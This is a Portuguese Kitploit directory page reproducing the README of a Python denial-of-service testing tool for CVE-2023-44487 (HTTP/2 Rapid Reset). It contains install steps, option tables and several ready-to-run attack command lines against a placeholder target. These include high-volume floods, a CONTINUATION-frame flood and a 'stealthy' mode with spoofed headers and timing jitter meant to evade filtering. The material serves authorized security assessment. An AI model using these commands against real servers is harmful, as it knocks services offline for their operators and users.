Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE_2023_44487-Rapid_Reset — Ferramenta de teste baseada em Python para CVE-2023-44487 (HTTP/2 Rapid Reset) com múltiplos padrões de ataque, configuração granular e monitoramento para avaliações de segurança autorizadas. | Kitploit
Ferramentas/GitHubGitHub/gmh5225/cve_2023_44487-rapid_reset
Scanners de VulnerabilidadesExploraçãoSegurança WebSegurança de RedeTestes de Penetração
GitHubgmh5225/cve_2023_44487-rapid_reset

CVE_2023_44487-Rapid_Reset

Ferramenta de teste baseada em Python para CVE-2023-44487 (HTTP/2 Rapid Reset) com múltiplos padrões de ataque, configuração granular e monitoramento para avaliações de segurança autorizadas.

Ver Repositório
29há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de Teste de Reset Rápido HTTP/2 CVE-2023-44487 - Edição Aprimorada

Uma ferramenta de teste abrangente em Python para CVE-2023-44487, a vulnerabilidade de Reset Rápido HTTP/2. Esta versão aprimorada fornece controle granular sobre parâmetros de teste, múltiplos padrões de ataque e recursos avançados de monitoramento.

⚠️ AVISO LEGAL IMPORTANTE

Esta ferramenta é apenas para fins educacionais e testes autorizados!

  • Use apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar
  • O uso não autorizado pode ser ilegal e pode causar interrupção de serviço
  • A ferramenta executa um ataque de Negação de Serviço que pode impactar a disponibilidade do servidor
  • Sempre garanta que você tenha autorização adequada antes de testar

🔍 Sobre CVE-2023-44487

CVE-2023-44487, também conhecida como "Reset Rápido HTTP/2", é uma vulnerabilidade crítica no protocolo HTTP/2 que permite que atacantes:

  • Causem negação de serviço enviando e cancelando rapidamente fluxos HTTP/2
  • Consumam recursos excessivos do servidor com recursos mínimos do cliente
  • Contornem muitos mecanismos tradicionais de limitação de taxa
  • Afetem os principais servidores web e balanceadores de carga

Pontuação CVSS: 7.5 (Alta)

Impacto: Negação de Serviço, Exaustão de Recursos

🚀 Recursos Aprimorados

Múltiplos Padrões de Ataque

  • ⚡ Reset Rápido: HEADERS padrão + RST_STREAM imediato
  • 💥 Reset em Rajada: Solicitações em rajadas com atrasos configuráveis
  • 📈 Reset Gradual: Taxa de ataque aumentando gradualmente
  • 🎲 Reset Aleatório: Temporização aleatória para contornar filtragem preditiva
  • 🌊 Inundação de Continuação: Ataque de inundação de quadros CONTINUATION
  • 🔀 Padrão Misto: Combinação de múltiplos padrões

Configuração Granular

  • 📡 Controles de Conexão: Timeouts, atrasos, limites de concorrência
  • ⏱️ Controles de Temporização: Temporização precisa com suporte a jitter
  • 🌐 Protocolo HTTP/2: Tamanhos de janela, tamanhos de quadro, configurações HPACK
  • 📋 Personalização de Cabeçalhos: Cabeçalhos personalizados, geração aleatória
  • 🔬 Opções Avançadas: Randomização de ID de fluxo, quadros de prioridade
  • 📊 Monitoramento: Rastreamento de latência, análise de tráfego, monitoramento de erros

Formatos de Saída

  • 🖥️ Console: Legível por humanos com atualizações de progresso
  • 📋 JSON: Dados estruturados legíveis por máquina
  • 📊 CSV: Compatível com planilhas para análise
  • 🗃️ XML: Integração com ferramentas empresariais

Recursos de Segurança

  • 🛡️ Controles de Autorização: Prompts de confirmação obrigatórios
  • 🔒 Limitação de Taxa: Limites integrados de conexão e solicitação
  • 🎛️ Tratamento de Erros: Tratamento gracioso de falhas
  • 📝 Trilha de Auditoria: Recursos abrangentes de registro

📋 Requisitos

  • Python 3.7 ou superior
  • Sem dependências externas (usa apenas a biblioteca padrão do Python)

📖 Instalação

  1. Clone ou baixe o script:
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
  1. Torne o script executável:
chmod +x rapid_reset_test.py
  1. Verifique a versão do Python:
python3 --version  # Deve ser 3.7+

🔧 Uso

Uso Básico

python3 rapid_reset_test.py https://servidor-alvo.com

Exemplos de Uso Avançado

1. Teste de Carga de Alto Rendimento

python3 rapid_reset_test.py https://alvo.com \
    --connections 50 \
    --requests 1000 \
    --delay 0 \
    --pattern rapid_reset \
    --track-latency \
    --output json

2. Teste Furtivo com Cabeçalhos Personalizados

python3 rapid_reset_test.py https://alvo.com \
    --pattern burst_reset \
    --burst-size 5 \
    --burst-delay 2.0 \
    --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
    --jitter 0.3

3. Teste Específico de Protocolo

python3 rapid_reset_test.py https://alvo.com \
    --window-size 32768 \
    --frame-size 32768 \
    --header-table-size 8192 \
    --enable-push \
    --priority-frames \
    --randomize-streams

4. Teste Abrangente de Monitoramento

python3 rapid_reset_test.py https://alvo.com \
    --connections 10 \
    --requests 200 \
    --pattern mixed_pattern \
    --track-latency \
    --track-responses \
    --monitor-memory \
    --verbose \
    --debug \
    --log-file attack.log

5. Ataque de Inundação CONTINUATION

python3 rapid_reset_test.py https://alvo.com \
    --pattern continuation_flood \
    --requests 50 \
    --random-headers \
    --header-count 20

Opções Completas de Linha de Comando

Configurações de Conexão

OpçãoDescriçãoPadrão
-c, --connections NNúmero de conexões concorrentes1
--connection-timeout SECTimeout de conexão em segundos10
--read-timeout SECTimeout de leitura para respostas5
--connection-delay SECAtraso entre conexões0.0

Configurações de Solicitação

OpçãoDescriçãoPadrão
-r, --requests NSolicitações por conexão100
--delay SECAtraso entre HEADERS e RST_STREAM0.001
--request-delay SECAtraso entre solicitações0.0
--jitter FACTORFator de randomização de temporização0.0

Padrões de Ataque

OpçãoDescriçãoPadrão
--pattern TYPEPadrão de ataque a usarrapid_reset
--burst-size NSolicitações por rajada10
--burst-delay SECAtraso entre rajadas0.1

Padrões Disponíveis:

  • rapid_reset - Ataque padrão de reset rápido
  • burst_reset - Ataques baseados em rajadas
  • gradual_reset - Taxa aumentando gradualmente
  • random_reset - Temporização aleatória
  • continuation_flood - Inundação de quadros CONTINUATION
  • mixed_pattern - Mistura de padrões

Configurações do Protocolo HTTP/2

OpçãoDescriçãoPadrão
--window-size BYTESTamanho inicial da janela HTTP/265535
--frame-size BYTESTamanho máximo do quadro16384
--header-table-size BYTESTamanho da tabela de cabeçalhos HPACK4096
--enable-pushHabilitar push do servidor HTTP/2False
--rst-error-code CODECódigo de erro RST_STREAM8

Personalização de Cabeçalhos

OpçãoDescriçãoPadrão
--custom-headers HEADERCabeçalhos personalizados (Nome: Valor)None
--random-headersGerar cabeçalhos aleatóriosFalse
--header-count NNúmero de cabeçalhos aleatórios5

Opções Avançadas

OpçãoDescriçãoPadrão
--randomize-streamsUsar IDs de fluxo aleatóriosFalse
--priority-framesIncluir informações de prioridadeFalse
--continue-on-errorContinuar após errosTrue
--max-errors NErros máximos antes de parar10

Opções de Monitoramento

OpçãoDescriçãoPadrão
--track-latencyRastrear latência de solicitaçõesFalse
--track-responsesRastrear respostas do servidorFalse
--monitor-memoryMonitorar uso de memóriaFalse

Opções de Saída

OpçãoDescriçãoPadrão
--output FORMATFormato de saídaconsole
--output-file FILENome do arquivo de saídagerado automaticamente
--verbose, -vSaída detalhadaFalse
--debugRegistro de depuraçãoFalse
--log-file FILERegistrar em arquivoNone

Formatos de Saída Disponíveis:

  • console - Saída de console legível por humanos
  • json - JSON legível por máquina
  • csv - CSV compatível com planilhas
  • xml - Formato XML estruturado
Baixar ferramenta